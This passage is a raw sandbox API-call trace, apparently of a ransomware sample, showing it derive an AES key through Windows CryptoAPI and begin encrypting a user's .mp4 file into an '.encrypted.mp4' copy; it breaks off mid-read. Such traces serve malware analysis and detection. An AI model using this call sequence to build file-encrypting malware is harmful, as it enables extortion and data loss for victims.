lpMsg=0xe8f3dff480) returned 0 [0021.929] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0021.929] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.929] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0021.930] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0021.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0021.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178800, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0021.930] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0021.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0021.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178800, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0021.930] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0021.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.mp4", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0021.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.mp4", cchWideChar=51, lpMultiByteStr=0xe8f404bcd0, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.mp4", lpUsedDefaultChar=0x0) returned 51 [0021.931] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.mp4" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar\\p62ra6fyb gp.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0021.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=51, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0021.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=51, lpWideCharStr=0xe8f4062aa0, cchWideChar=51 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.mp4") returned 51 [0021.932] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0021.932] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.933] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.933] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0021.933] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0021.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0021.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41786a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0021.933] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0021.933] CloseHandle (hObject=0x1fc) returned 1 [0021.933] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0021.934] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.934] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.934] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0021.934] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.934] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0021.934] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0021.934] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.934] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.934] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.934] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.934] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.939] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.940] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0021.940] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.940] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.940] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.940] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.940] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.940] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0021.940] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.940] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.941] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.941] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.941] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.941] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.941] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.941] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.941] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.942] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.942] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.942] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.942] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.942] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.942] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.942] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.942] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b510, dwDataLen=0x20, dwFlags=0x1) returned 1 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.942] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.942] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.942] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.942] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.942] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0021.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.943] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.943] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0021.943] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.943] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0021.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.944] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.944] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.944] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.944] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.944] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.mp4" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar\\p62ra6fyb gp.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0021.945] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.945] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0021.945] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.945] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.945] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.945] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar")) returned 0x10 [0021.945] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.encrypted.mp4" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar\\p62ra6fyb gp.encrypted.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0021.946] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.946] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.946] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.946] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.947] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0021.947] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, 